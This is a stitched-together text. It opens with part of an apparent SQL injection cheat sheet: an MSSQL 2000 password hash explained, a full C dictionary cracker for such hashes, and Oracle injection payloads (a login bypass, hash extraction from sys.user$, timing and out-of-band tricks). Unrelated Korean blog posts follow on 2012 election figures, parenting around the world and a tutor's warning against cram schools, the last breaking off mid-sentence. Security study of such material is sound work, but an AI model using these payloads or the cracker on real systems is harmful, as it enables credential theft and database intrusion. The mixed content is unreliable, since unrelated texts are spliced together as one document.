    Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

    0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

    Password Cracking

    A Metasploit module for JTR can be found here.

    MSSQL 2000 Password Cracker

    This tool is designed to crack Microsoft SQL Server 2000 passwords.

      /////////////////////////////////////////////////////////////////////////////////
      //
      //           SQLCrackCl
      //
      //           This will perform a dictionary attack against the
      //           upper-cased hash for a password. Once this
      //           has been discovered try all case variant to work
      //           out the case sensitive password.
      //
      //           This code was written by David Litchfield to
      //           demonstrate how Microsoft SQL Server 2000
      //           passwords can be attacked. This can be
      //           optimized considerably by not using the CryptoAPI.
      //
      //           (Compile with VC++ and link with advapi32.lib
      //           Ensure the Platform SDK has been installed, too!)
      //
      //////////////////////////////////////////////////////////////////////////////////
      #include <stdio.h>
      #include <windows.h>
      #include <wincrypt.h>
      FILE *fd=NULL;
      char *lerr = "\nLength Error!\n";
      int wd=0;
      int OpenPasswordFile(char *pwdfile);
      int CrackPassword(char *hash);
      int main(int argc, char *argv[])
      {
      	         int err = 0;
      	    if(argc !=3)
      	              {
      	                        printf("\n\n*** SQLCrack *** \n\n");
      	                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);
      	                        printf("David Litchfield (david@ngssoftware.com)\n");
      	                        printf("24th June 2002\n");
      	                        return 0;
      	              }
      	    err = OpenPasswordFile(argv[2]);
      	    if(err !=0)
      	     {
      	       return printf("\nThere was an error opening the password file %s\n",argv[2]);
      	     }
      	    err = CrackPassword(argv[1]);
      	    fclose(fd);
      	    printf("\n\n%d",wd);
      	    return 0;
      }
      int OpenPasswordFile(char *pwdfile)
      {
      	    fd = fopen(pwdfile,"r");
      	    if(fd)
      	              return 0;
      	    else
      	              return 1;
      }
      int CrackPassword(char *hash)
      {
      	    char phash[100]="";
      	    char pheader[8]="";
      	    char pkey[12]="";
      	    char pnorm[44]="";
      	    char pucase[44]="";
      	    char pucfirst[8]="";
      	    char wttf[44]="";
      	    char uwttf[100]="";
      	    char *wp=NULL;
      	    char *ptr=NULL;
      	    int cnt = 0;
      	    int count = 0;
      	    unsigned int key=0;
      	    unsigned int t=0;
      	    unsigned int address = 0;
      	    unsigned char cmp=0;
      	    unsigned char x=0;
      	    HCRYPTPROV hProv=0;
      	    HCRYPTHASH hHash;
      DWORD hl=100;
      unsigned char szhash[100]="";
      int len=0;
      if(strlen(hash) !=94)
      	      {
      	              return printf("\nThe password hash is too short!\n");
      	      }
      if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
      	      {
      	              hash = hash + 2;
      	              strncpy(pheader,hash,4);
      	              printf("\nHeader\t\t: %s",pheader);
      	              if(strlen(pheader)!=4)
      	                        return printf("%s",lerr);
      	              hash = hash + 4;
      	              strncpy(pkey,hash,8);
      	              printf("\nRand key\t: %s",pkey);
      	              if(strlen(pkey)!=8)
      	                        return printf("%s",lerr);
      	              hash = hash + 8;
      	              strncpy(pnorm,hash,40);
      	              printf("\nNormal\t\t: %s",pnorm);
      	              if(strlen(pnorm)!=40)
      	                        return printf("%s",lerr);
      	              hash = hash + 40;
      	              strncpy(pucase,hash,40);
      	              printf("\nUpper Case\t: %s",pucase);
      	              if(strlen(pucase)!=40)
      	                        return printf("%s",lerr);
      	              strncpy(pucfirst,pucase,2);
      	              sscanf(pucfirst,"%x",&cmp);
      	      }
      else
      	      {
      	              return printf("The password hash has an invalid format!\n");
      	      }
      printf("\n\n       Trying...\n");
      if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
        {
      	      if(GetLastError()==NTE_BAD_KEYSET)
      	              {
      	                        // KeySet does not exist. So create a new keyset
      	                        if(!CryptAcquireContext(&hProv,
      	                                             NULL,
      	                                             NULL,
      	                                             PROV_RSA_FULL,
      	                                             CRYPT_NEWKEYSET ))
      	                           {
      	                                    printf("FAILLLLLLL!!!");
      	                                    return FALSE;
      	                           }
      	       }
      }
      while(1)
      	     {
      	       // get a word to try from the file
      	       ZeroMemory(wttf,44);
      	       if(!fgets(wttf,40,fd))
      	          return printf("\nEnd of password file. Didn't find the password.\n");
      	       wd++;
      	       len = strlen(wttf);
      	       wttf[len-1]=0x00;
      	       ZeroMemory(uwttf,84);
      	       // Convert the word to UNICODE
      	       while(count < len)
      	                 {
      	                           uwttf[cnt]=wttf[count];
      	                           cnt++;
      	                           uwttf[cnt]=0x00;
      	                           count++;
      	                           cnt++;
      	                 }
      	       len --;
      	       wp = &uwttf;
      	       sscanf(pkey,"%x",&key);
      	       cnt = cnt - 2;
      	       // Append the random stuff to the end of
      	       // the uppercase unicode password
      	       t = key >> 24;
      	       x = (unsigned char) t;
      	       uwttf[cnt]=x;
      	       cnt++;
      	       t = key << 8;
      	       t = t >> 24;
      	     x = (unsigned char) t;
      	     uwttf[cnt]=x;
      	     cnt++;
      	     t = key << 16;
      	     t = t >> 24;
      	     x = (unsigned char) t;
      	     uwttf[cnt]=x;
      	     cnt++;
      	     t = key << 24;
      	     t = t >> 24;
      	     x = (unsigned char) t;
      	     uwttf[cnt]=x;
      	     cnt++;
      // Create the hash
      if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
      	     {
      	               printf("Error %x during CryptCreatHash!\n", GetLastError());
      	               return 0;
      	     }
      if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
      	     {
      	               printf("Error %x during CryptHashData!\n", GetLastError());
      	               return FALSE;
      	     }
      CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
      // Test the first byte only. Much quicker.
      if(szhash[0] == cmp)
      	     {
      	               // If first byte matches try the rest
      	               ptr = pucase;
      	               cnt = 1;
      	               while(cnt < 20)
      	               {
      	                           ptr = ptr + 2;
      	                           strncpy(pucfirst,ptr,2);
      	                           sscanf(pucfirst,"%x",&cmp);
      	                           if(szhash[cnt]==cmp)
      	                                    cnt ++;
      	                           else
      	                           {
      	                                    break;
      	                           }
      	               }
      	               if(cnt == 20)
      	               {
      	                    // We've found the password
      	                    printf("\nA MATCH!!! Password is %s\n",wttf);
      	                    return 0;
      	                 }
      	         }
      	         count = 0;
      	         cnt=0;
      	       }
        return 0;
      }
      					

    Oracle

    Default Databases

    SYSTEMAvailable in all versions
    SYSAUXAvailable in all versions

    Comment Out Query

    The following can be used to comment out the rest of the query after your injection:

    --SQL comment

    Example:
    • SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';

    Testing Version

    SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
    SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
    SELECT version FROM v$instance;

    Note:

    • All SELECT statements in Oracle must contain a table.
    • dual is a dummy table which can be used for testing.

    Database Credentials

    SELECT username FROM all_users;Available on all versions
    SELECT name, password from sys.user$;Privileged, <= 10g
    SELECT name, spare4 from sys.user$;Privileged, <= 11g

    Database Names

    Current Database

    SELECT name FROM v$database;
    SELECT instance_name FROM v$instance
    SELECT global_name FROM global_name
    SELECT SYS.DATABASE_NAME FROM DUAL

    User Databases

    SELECT DISTINCT owner FROM all_tables;

    Server Hostname

    SELECT host_name FROM v$instance; (Privileged)
    SELECT UTL_INADDR.get_host_name FROM dual;
    SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
    SELECT UTL_INADDR.get_host_address FROM dual;

    Tables and Columns

    Retrieving Tables

    SELECT table_name FROM all_tables;

    Retrieving Columns

    SELECT column_name FROM all_tab_columns;

    Find Tables from Column Name

    SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';

    Find Columns From Table Name

    SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

    Retrieving Multiple Tables at once

    SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;

    Avoiding the use of quotations

    Unlike other RDBMS, Oracle allows table/column names to be encoded.

    SELECT 0x09120911091 FROM dual;Hex Encoding.
    SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;CHR() Function.

    String Concatenation

    SELECT 'a'||'d'||'mi'||'n' FROM dual;

    Conditional Statements

    SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

    Timing

    Time Delay

    SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

    Heavy Time Delays

    AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

    Privileges

    SELECT privilege FROM session_privs;
    SELECT grantee, granted_role FROM dba_role_privs; (Privileged)

    Out Of Band Channeling

    DNS Requests

    SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
    SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;

    Password Cracking

    A Metasploit module for JTR can be found here.

    Extras

    About

    This Knowledge Base was put together and is maintained by Roberto Salgado, Co-Founder of Websec. It is a compilation of books, papers, cheatsheets and testing done by Roberto over the years.

    Contact

    Please feel free to send any suggestions you may have to @LightOS or e-mail.

    Special Thanks

    Garrett HyderHelped me tremendously with the CSS and some JQuery bugs.
    Johannes DahseHelped me create the original version.
    Lisa RichardsMade the tough decisions for me.
    Mario HeiderichHelped me create the original version.
    Pedro JoaquínMotivated me to finish this.

    Contributions

    Paulino CalderónGave me the idea of adding a changelog.
    Alejandro HernándezPointed out some missing code for the password crackers.
    Denis BaranovContributed with links for Error based methods and Acknowledgements.
    idContributed links for the JTR-MSF modules.
    NurfedContributed a method for retrieving multiple tables at once in MSSQL 2005+.
    PenTesticlesMinor correction to MSSQL xp_cmdshell.
    Ryan BarnettBrought to my attention an extra method for WAITFOR timing in MSSQL.

    Acknowledgements

    HackforumsA method for retrieving multiple tables/columns at once.
    RDotA lot of the error based vectors originated from this site.

    Last Updated


실습.

Posted by yangdaegam
l
Posted by yangdaegam
l

총선 다음날인데...언론에선 주구장창 이런 그림만 보여준다.



이건 뭐, 야권에게 패배감을 심어주려는 인상을 지울 수 없다.

SBS 개표현황할때 지역별 지도 말고, 지역 크기와 관계없이 동일 박스로 그려주던 화면이 괜찮았는데

관련자료를 찾을 수 없다.

 

"숫자로 보는 총선" 

이런거 매번 언론이 내놓곤 하지 않았냐고...난 정치도 모르고 통계도 모른단 말이다...


아무튼.. 내 마음대로 2012.04.11 총선 통계


데이타 비교

-최다득표자

강남구갑. 새누리당 심윤조 82,582표, 당선


-최고득표율

강남구갑. 새누리당 심윤조 65.32% 당선


-최소득표자

종로구. 불교연합당. 정재복 68표, 탈락


-최소 표차(1,2등)

고양시덕양구 170표 차이.

새누리당 통합진보당

손범규 심상정

43,758 43,928


-최대 표차(1,2등)

경산시청도군, 57,386표 차이.

새누리당   무소속

최경환      이권우

75,876      18,490


표심 비교

-당 별 얻은표 : 새누리 9,063,935명 / 민주통합당 8,092,970명 / 통합진보당 1,030,823명 / 잡당 555,894명 / 무소속 1,980,246명


-새누리 vs 야권연합(민통+통진) 하면 9,063,935 vs 9,123,793 

야권연대에 표를 준사람이 많음


나도 홍xx 표현을 빌려 쓰자면, 사실상 승리


아 씨블 퇴근시간임..


당별 비교

-업뎃예정


당별 공략 포인트

-업뎃예정


무소속(묻힌 표심) 분석

-업뎃예정


투표율 등락에 따른 정당 지지율 변화 분석

-업뎃예정



Posted by yangdaegam
l

껌씹는 연습좀 해야지..
기다려라

Posted by yangdaegam
l


 

얼마 전 월스트리스저널에 흥미로운 기사가 실렸습니다.  ‘Who Are You Calling a Mama's Boy?’라는 제목인데요. 뜻 그대로 마마보이에 관한 글입니다.

 

글에서 한 어머니는 사람들이 마마보이라고 부르는 아들에 대해 피력하고 있지요. 엄마와 아들이 상담하고, 아이가 집에 와서 학교에서 있었던 일을 말하는 것이 마마보이가 아니라 아들과 엄마가 정신적으로 교감을 할 수 있는 것이라는 주장입니다. 

 

(사진: Flickrⓒo5com)

 

맹모삼천지교(孟母三遷之敎)라는 말이 있습니다. 이 이야기를 들으면 예부터 우리나라는 자식 교육에 참 많은 신경을 썼던 듯합니다. 그러나 자녀교육이라면 우리나라뿐 아니라 전 세계가 가장 고민하는 부분이 아닐까요? ‘어떻게 하면 바르게 클까?’,  ‘어떤 교육을 시키면 똑똑하게 자랄까?’,  ‘어떻게 키우면 건강할까?’ 어머니들의 평생 고민이 아닐까 생각합니다.

 

남의 떡이 더 커 보인다는 옛말처럼 내 아이보다 남의 아이가 더 잘나 보입니다. 대체 저 부모는 어떻게 아이를 키우기에 아이가 그렇게 똑 부러질까요? 지금부터 세계 엄마들의 육아법을 슬쩍 엿보겠습니다.

 

 

상상과 창의력을 키워주는 유럽의 부모

 

TV에서 보는 유럽의 마을은 참 한가롭고 자유롭습니다. 그래서인지 대부분 유럽의 부모들은 아이들에게 자연과 더불어 상상하며, 뛰놀며 자라는 것을 선호합니다.

 

특히 북유럽과 같이 겨울이 긴 나라는 아이들의 체력과 더불어 건강한 정신을 길러주는 육아를 한다고 합니다. 대표적으로 북유럽 나라인 덴마크의 부모들은 가족과 함께 종종 자연 그대로를 느끼며 휴일을 즐기는 건데요. 아이가 자연을 통해 호기심과 상상력을 키우게 해주는 것이지요.

 

아이들은 가족과 함께 놀면서 따뜻함과 안정감을 얻는다고 합니다. 덴마크 부모는 아이들의 교육에 별로 심각하지 않습니다. 5세 이전에는 충분하게 놀아야 한다고 생각하지요. 다른 아이와 비교하기보다는 아이가 자라는 것에 초점을 맞추기 때문에 아이도 자신의 페이스에 맞게 자라납니다. 

 

(사진: Flickrⓒtiffanywashko)

 

서유럽의 대표적인 나라인 프랑스도 자유롭게 키우는 데는 덴마크 못지않습니다. 한번은 프랑스에서 국제아동그림대회가 열렸는데요. 주제는 드뷔시의 음악을 들으면서 느껴지는 것을 그리는 것이었답니다. 산이나 바다를 그리는 우리나라의 그림대회와는 조금 색다르지 않나요? 그렇다면 프랑스 부모들은 아이들을 어떻게 키울까요?

 

프랑스는 아이를 동등한 인격체로 존중하기 때문에 어른들의 세계에 적극적으로 참여시키는데요. 우리나라는 어른들의 대화 중 아이가 끼어드는 것을 버릇없다고 칭하지만, 프랑스는 아이들의 의견도 듣고, 답변도 해주곤 한답니다.

 

그러므로 아이들이 대부분 어른스럽고 또 자기 의사를 정확히 표현할 줄 압니다. 늦은 저녁에도 부모와 함께 외출하는 아이들을 종종 볼 수 있답니다. 더욱 놀라운 것은 프랑스 부모는 아이들과 토론을 즐긴다는 사실입니다.

 

갓난아기에게도 하루 종일 이야기를 해주지요. 또 말을 배우는 시기인 4~5살 무렵에는 아이에게 일방적으로 말하기보다 아이가 스스로 판단해서 말하도록 돕지요. 학교에서도 토론 수업에 중점을 두기 때문에 10살이 넘은 아이들은 신문을 읽으면서 자신의 생각을 피력하기도 합니다.

 

유럽에 대표적인 도시 중 하나인 독일 역시 마찬가지입니다. 독일은 유치원에서 만들기를 할 때면 교사는 도구와 재료를 주고 사용방법만을 알려줄 뿐 아이들이 자유롭게 만들도록 합니다.

 

또 밖에서 뛰어 노는 교육을 중심으로 하기 때문에 아이들은 자신들의 손으로 화단을 꾸미는 등 다양한 활동을 하며 자연에 대한 사랑과 땀방울의 소중함을 알게 해주지요. 또 친구들과 뛰어 노는 시간이 많아서 생활 속에서 자연스럽게 질서를 익힌답니다. 

 

(사진: Flickrⓒteksmith)

 

재미있는 사실은 독일의 부모는 아이에 대한 책임과 의무는 다하지만 아이 때문에 부모의 인생을 희생하지는 않는다는 사실입니다. 독일 아이들은 저녁 8시가 되면 잠자리에 드는데요.

 

이 시간부터는 엄마의 자유시간입니다. 8시 이후에는 아이에게 방해 받지 않고 개인생활을 즐기지요. 또 아이들에게 일찍부터 독립심을 심어주는데요. 어린아이라도 옷을 입거나 식사를 하거나 방을 정리하는 등 모든 것을 혼자한답니다. 아이가 힘들어해도 도와주지 않기 때문에 아이들은 빨리 어른스러워지고 책임감도 강해지지요. 스스로 학습법의 강자는 바로 독일이 아닐까요?

 

 

감수성을 키워주는 이스라엘과 미국의 육아법

 

이스라엘의 부모는 돌이 지난 아이들을 재울 때는 책을 읽어준답니다. 이것은 아이들의 언어 발달에 큰 도움이 되는데요. 책에 나오는 단어를 자연스럽게 습득하게 돼 4살 정도면 평균 1,500개 이상의 어휘를 소화한다고 합니다.

 

부모들은 아이에게 이야기를 들려준 후 이야기의 느낌과 생각을 나누는 것도 잊지 않는데요. 이로써 아이들은 처음엔 서툴다가도 곧 표현력도 풍부해지고 여러 관점에서 생각할 수 있어진답니다.


이스라엘 부모들은 아이에게 결코 공부하라고 압박을 하지 않는데도 아이들이 스스로 공부를 한답니다. 그 이유는 바로 부모에게 있답니다. 이스라엘 부모들은 나이가 들어서도 공부를 하는 경우가 많아 아이들은 부모가 공부하는 모습을 보며 자라기 때문에 자연스럽게 스스로 한다고 합니다.

 

이렇게 자란 아이들은 의무교육 첫날에 케이크를 선물 받는데요. 여기에는 설탕으로 만든 알파벳이 장식되어 있다고 합니다. 아이들은 이 알파벳을 먹으며 공부란 압박감을 주는 게 아니라 달고 맛있는 과자를 먹는 즐거운 일이라는 인상을 받는다고 합니다

 

(사진: Flickrⓒsurlygirl)

 

감수성을 길러주는 교육은 미국에서도 이루어지고 있습니다. 미국 엄마는 아이들과 대화할 때 눈을 맞춘다고 합니다. 부모가 아이와 눈을 맞추며 이야기를 하면 아이들은 부모에게서 안정감과 일체감을 느낀다고 합니다.

 

미국의 육아법 중에 가장 배워야 하는 것은 바로 아이들에게 하루 한 번씩 반드시 칭찬을 해주는 것이 아닐까요? 미국 부모들은 아이에게 칭찬을 자주 하는데요. 사소한 정리정돈이나 인사, 친구를 돕는다거나 대답을 잘할 경우에도 칭찬을 해준다고 합니다. 사람들이 많은 곳이든 없는 곳이든 칭찬을 잊지 않는다고 합니다.

 

물론 말썽을 부릴 때도 우선 장점을 찾아 먼저 말해주고 고칠 점을 알려주지요. 미국 부모들은 아이가 공공장소에서 시끄럽게 굴거나 말썽을 피우면 단호하게 야단을 치는데요. 공공장소가 아니라 남의 집이나 집에 손님이 있을때도 그러합니다. 사람들의 눈치 때문에 집에 가서 혼내는 우리나라와는 많이 다르지요?

 

 아이는 잘못한 때를 지나서 혼나면 잘못을 잘 인식하지 못하기 때문에 바로 혼내는데요. 혼낼 때는 아이의 이름을 정중하고 단호하게 부른 후 조용한 어조로 부드럽게 타이른다고 합니다.

 

 

겸손하게 자라나는 아시아권 아이들

 

일본 사람을 만나본 적이 있다면 그들의 밝은 인사성을 볼 수 있었을 텐데요. 바로 어릴 때부터 교육을 받기 때문이랍니다. 일본은 인사에 대한 교육이 철저한데요.

 

말을 배우기 시작할 무렵부터 고맙다는 의미인 아리가또고자이마스와 실례합니다, 미안합니다라는 의미인 스미마센부터 배운다고 합니다. 4살이 지나면 식사전후에는 반드시 식사 인사를 하도록 교육을 하고 있지요. 

 

(사진: FlickrⓒRobert W. Howington)

 

일본 부모들은 가정에서는 아이들이 집안을 어지럽히거나 떠들어도 상관없을 정도로 자유롭게 키우지만 공공장소에서는 떠들거나 소란을 피우면 엄격하게 야단을 칩니다.

 

일본에서는 엄마가 아이에게 경어를 쓰는 경우를 종종 볼 수 있는데요. 부모가 경어를 사용하면 아이는 존중받는다는 생각을 하고 또 성격도 차분해진다고 합니다.

 

일본 엄마들은 감정에 호소하는 말로 아이들을 행동하게 하는 재미있는 교육을 하는데요. 예를 들어 당근을 안 먹는 아이에게 농부아저씨가 슬프겠네~ 라는 식으로 말하는 등 아이의 감정에 호소하는데요. 이를 통해 아이들은 상대의 기분과 생각을 고려해서 말하는 법을 배운다고 합니다.

 

중국은 아이들의 인성이 선천적인 것이 아니라 후천적인 것으로 생각하기 때문에 엄격하게 교육합니다. 특히 중국 부모들은 아이들을 순종적이면서도 예의 바른 사람으로 키우려고 하는데요.

 

아이들이 자만심에 빠질까 봐 칭찬도 잘 하지 않습니다. 다른 사람에게 예의를 갖추고 겸손한 아이를 자랑스러워하기 때문에 어릴 때부터 자신의 의사를 스스럼없이 표현하는 것을 자제시킵니다. 또 아이와의 일체감을 중시하기 때문에 엄마의 몸에 접촉하며 사람들 속에서 자란 아이들은 대인관계에 민감하고, 개인주의적 성향보다는 집단 속에서 안정감을 느끼곤 한답니다. 

 

(사진: FlickrⓒKatieTegtmeyer)

 

최근 우리나라의 육아법이 너무 아이들 중심으로 치우쳐져 있는 것이 아닌가 의문을 갖습니다. 우리나라 엄마들은 아이에게 정을 주는 육아를 하는데요. 많이 안아주고, 잠들기 전에는 노래를 불러줍니다. 3세 이전의 아이들은 잠을 자는 동안 엄마와 접촉해있으면 정서적 안정감을 많이 느낀다고 하는데요.

 

예전 엄마들이 아이를 업어서 키운 것이 어쩌면 경험에서 나온 조상의 지혜인지도 모르겠습니다. 엄마가 어떤 일을 하든 아이는 등에 꼭 달라붙어서 엄마의 체온을 느낄 수 있으니까요.

 

자, 지금까지 세계에서 아이를 어떻게 키우는지 알아봤습니다. 그렇다면 어떻게 키우는 것이 가장 행복한 아이로 키우는 방법일까요? 최근 한 연구에서 엄마의 행복이 자녀에게 그대로 영향을 끼친다는 연구결과가 나왔다고 합니다.

 

즉 엄마가 행복하면 아이도 행복하다는 것이지요. 부부관계가 원만하고 부모가 행복하게 지내면 아이는 바르게 자라가지 않을까요? 아이의 행복을 위해 어떤 육아를 해야 할까 고민하지 말고 오늘부터 아이와 더 많은 시간을 가져보세요. 아이의 웃음을 보면 저절로 미소 지어지듯이 부모의 행복한 모습이 아이의 마음에 새겨진다는 거 잊지 마세요.;

Posted by yangdaegam
l
그러하다..

Posted by yangdaegam
l



귀엽당, 아버지도 참 대단...
Posted by yangdaegam
l





두번째 실험. 2012.06.26 업데이트



Posted by yangdaegam
l
저는 사교육 강사입니다. 
고3을 전문으로 하고, 돈은 꽤 법니다. 
구체적 액수는 말 안하겠습니다. 한 달에 억대를 버는 스타급 강사는 아니지만, 
예약한 학생이 몇 달씩 기다리는 정도 됩니다. 

거두절미하고 한 말씀만 드리겠습니다. 
제발, 제발, 사교육으로 성적 해결하려 들지 마세요. 부탁입니다. 
초딩들 학원 뺑뺑이 돌리지 마세요. 
아이 망치는, 인성 적성 이런 거 다 집어지우고 성적 망하게 하는 주범입니다. 
초딩 때부터 기초를 잡아야 한다구요? 
공부하는 습관을 들여야 한다구요? 
학원 뺑뺑이 돌려봐야 기초도 안 잡히고, 공부하는 습관도 안 듭니다. 
그저 시험 문제 푸는 요령, 답 외우기만 배워올 뿐입니다. 

저한테 고3들 오는데요, 정말 가관입니다. 
기본적으로 독해력이 안 됩니다. 영어 독해가 안 되느냐? 
헐~, 
한글 독해가 안 됩니다. 
문제가 뭘 묻는지, 그거 이해를 못 합니다. 
문제가 뭘 묻는지를 모르는데 뭔 정답을 맞히겠습니까? 
공부 못 하는 학생들 아니냐구요? 
제가 가르치는 학생들, 내신 2등급 이하는 없습니다. 
특목고라고 특별히 더 나을 것도 없습니다. 
얘들의 가장 근본적인 문제가 뭐냐면, 문제 푸는 테크닉은 뛰어난데 사고가 없다는 것입니다. 
이 문장이 무엇을 말하고 있고, 이 물음에 답하려면 제시문을 어느 관점에서 봐야하고, 
틀린 선택지라면 어떤 근거에서 틀렸는지, 
이거 판단하는 게 꽝입니다. 

그리고 학생들, 교과서 안 봅니다. 
별로 중요한 게 없어서 안 본다나요? 정말 어이가 상실입니다. 
교과서가 얼마나 논리적이고, 알찬 정보를 가지고 있는데, 
그 기본 텍스트를 이해하지 않고 애들 들입다 문제집 풉니다. 
그러니 어느 선에서는 절대 점수 올라가지 않습니다. 

논술요? 교과서만 충분히 이해하면 다 쓸 수 있습니다. 
대학 교수들, 교과 과정 내에서 냈다는 거 절대 거짓말 아닙니다. 
제시문이 어려우니까 교과과정 벗어날 것 같지만 제시문의 주제를 정확히 파악한 다음, 
사회 문화 윤리 언어의 비문학 들춰보라고 하세요. 
그 안에 다 있습니다. 근데 애들은 교과서 안 봅니다. 
돼먹지 않은, 학원 강사가 여기저기서 베껴낸 참고서 보죠. 
그 학원 강사들이 우리나라 교과서 집필진보다 실력이 더 낫겠습니까? 

말이 길어지는데요. 
학부모님들, 초딩 때 놀아도 중학교에서 따라 잡을 수 있습니다. 
중학교 때 못 해도 고딩 때 따라 잡을 수 있습니다. 
걱정 하지 마시고, 제 충고를 들어보세요. 

초딩 때는 교과서를 반복해서 읽도록만 지도하십시오. 
교과서를 읽고 기억나는 대로, 자기 생각대로 공책에 한 번씩 적어보라고 하세요. 
이거면 공부 충분합니다. 
수학이 걱정되세요? 
교과서 풀고 다른 참고서 한 권 사서 혼자 풀어보게 하세요. 
채점하게 하시구요, 틀린 거 다시 풀게 하세요. 
이거 하루에 10분이면 어머니들께서 체크 가능합니다. 
어머니들이 풀어주실 필요도 없습니다. 
맞을 때까지 다시 풀고, 다시 푸고 반복하게 하세요. 
창의력 수학 수업 시키고 싶으세요? 
서점 가면 "문제 해결의 길잡이"라고 있습니다. 
책 좋습니다. 그거 풀어보게 하세요. 
중학교 때부터는 명품 수학 추천합니다. 
제가 출판사 직원 아니지만, 동료 사교육 강사들로부터 들은 얘깁니다. 
어렵지만 계속 혼자 풀게 하세요. 
정 모르겠으면 학교 가서 선생님한테 여쭤보라고 하세요. 
학생이 물어보는데 퇴짜 줄 선생님, 아무도 없습니다. 

영어 걱정되십니까? 
원어민 학원 보내신다구요? 
헛돈 버리고 계십니다. 
서점에 가셔서 영어 동화책 두 권 사세요. 
그거 외우게 하세요. 달달 외우는 겁니다. 
CD나 테잎 듣고 받아쓰게 하세요. 
이거면 영어는 끝입니다. 
제가 말씀드린 대로 해보세요. 
중딩이고, 내신 걱정 되시면 교과서 외우게 하세요. 
영어 교과서 달달 외우는데 시험 왜 못 칩니까? 
중2쯤 되면 문법 나옵니다. 서점에 가셔서 제일 쉬운 영어 문법책 사세요. 
그걸 최소한 3번 반복해서 보게 하십시오. 
어려운 문법책 절대 필요 없습니다. 요즘 문법 잘 나오지도 않습니다. 
하지만 기본을 알아야 독해가 계속 늘기 때문에 하는 겁니다. 

어머니들은 아이들 시간표 정해주시고, 체크만 하게 하십시오. 
아이들 잘 안하죠. 
직장 다니는 어머니들은 시간도 없으실 거구요. 
애들 숙제 안 해놓으면 싸우게 되니까 피곤하고, 
그러니까 돈 주고 학원 보내시죠. 
이거 아이들 망치는 지름길입니다. 
하지만 공부는 혼자 하는 습관을 들여야 나중에 효과를 봅니다. 
과외, 학원 오래 다닌 애들, 고딩 되면 어느 강사의 말도 안 먹힙니다. 
그거 시험 비법만 찾게 되죠. 
비법 안 가르쳐주면 다른 선생으로 바꿉니다. 
요령 가르쳐주면 선생 실력 있다고 하구요. 
이렇게 요령만 배우려고 드니까 수능 망치고 징징 거립니다. 

다른 아이들은 학원가서 내신 잘 받아오는데, 
우리 아이만 집에서 빈둥거리니까 너무 불안하시죠? 
중학교 때부터는 EBS 있으니까 이것만 해도 웬만한 학원보다는 낫습니다. 
EBS 정말 좋습니다. 
초딩 때부터 혼자 하는 습관 들이면, 
힘들어도 자기가 책보며 푸는 습관 들이면 고등학교 때는 반드시 성적 나옵니다. 
혼자 안 되는 아이는 학원 보내도 안 됩니다. 
어떤 강사를 붙여도 안 됩니다. 모두가 다 공부 잘할 수는 없습니다. 
내 아이, 공부에는 별 적성 없을 수 있습니다. 저의 아이도 마찬가지구요. 
이 아이를 학원 보내서 뺑뺑이 돌리면 
그저 요령만 늘고, 생각 줄어들고, 열의 없어지고 부작용만 늡니다. 차라리 놀게 하세요. 

공부할 애들은 놀다가도 어느 순간에 공부 좀 해야 하는데.....하는 시간이 옵니다. 
지들이, 엄마 나 공부 좀 해야 하는데 할 겁니다. 
대부분은 그렇게 합니다. 
과외는 그때 붙이세요. 
자기가 하려고 할 때 그때 과외가 효과가 있는 겁니다. 
대학 안 가려고 한다구요? 
애랑 진지하게 대화해보세요. 요즘 애들 배짱 없습니다. 
나 대학 안가고 고졸로 뭘 해볼래 하는 애들 있다면, 
칭찬해주세요. 그 패기 정말 대단합니다. 
하지만 대부분 애들 대학 가고 싶어 합니다. 
공부 안하려고 하는 건, 엄마가 초딩 때부터 들볶지, 
학원 매일 다니지만 성적 안 오르지, 
나는 안 되는 것 같지, 
그러니까 재미없지 
이 모든 게 종합되어서 일어나는 현상입니다. 

정말 중요한 것 말씀드렸습니다. 
초딩 때부터 교과서 읽고 노트에 생각나는 대로 적어보는 것, 
이거 정말 중요합니다. 그걸 자기가 읽고 뭔가 이상하다, 
말이 안 된다 싶으면 다시 책 찾아서 읽어보게 하세요. 
이것만 되면 공부는 됩니다. 
이 간단한 걸 안 해서, 그 엄청난 돈 들이며, 
효과도 없는 학원 뺑뺑이 돌리며, 애 학대하고 부모 스트레스 받고....... 

수능, 공부 엄청 해서 치르는 것 아닙니다. 
공부의 원리는 간단합니다. 
하루에 한 시간이라도 자기가 책상 앞에서 책을 보며 읽고, 
이해하고, 이상하다 싶으면 찾아보고, 공부한 후에 자기가 공부한 걸 체크해보고, 
이게 답니다. 
이걸 안하고 학원에서 뭘 합니까? 

우리 애는 머리가 안 된다구요? 
고등학교에서 무슨 핵융합로 만듭니까? 
고등학교 공부 머리 필요 없습니다. 
자기가 가진 능력을 정확하게 쓰기만 하면 웬만한 대학은 다 갑니다. 
엉터리로 하니까 
시간 버리고 돈 버리는 겁니다. 
이 엉터리 공부 습관 들이지 않으려면 
제발, 제발 부탁인데 학원 보내지 마세요. 
제 주변의 한다하는 사교육 강사들, 지 새끼 학원 안 보냅니다. 
저도 아직 학원 안 보냈고요. 
우리 애 중학생인데 반에서 10등 정도합니다. 
그래도 영어는 자기 혼자서 하는데 
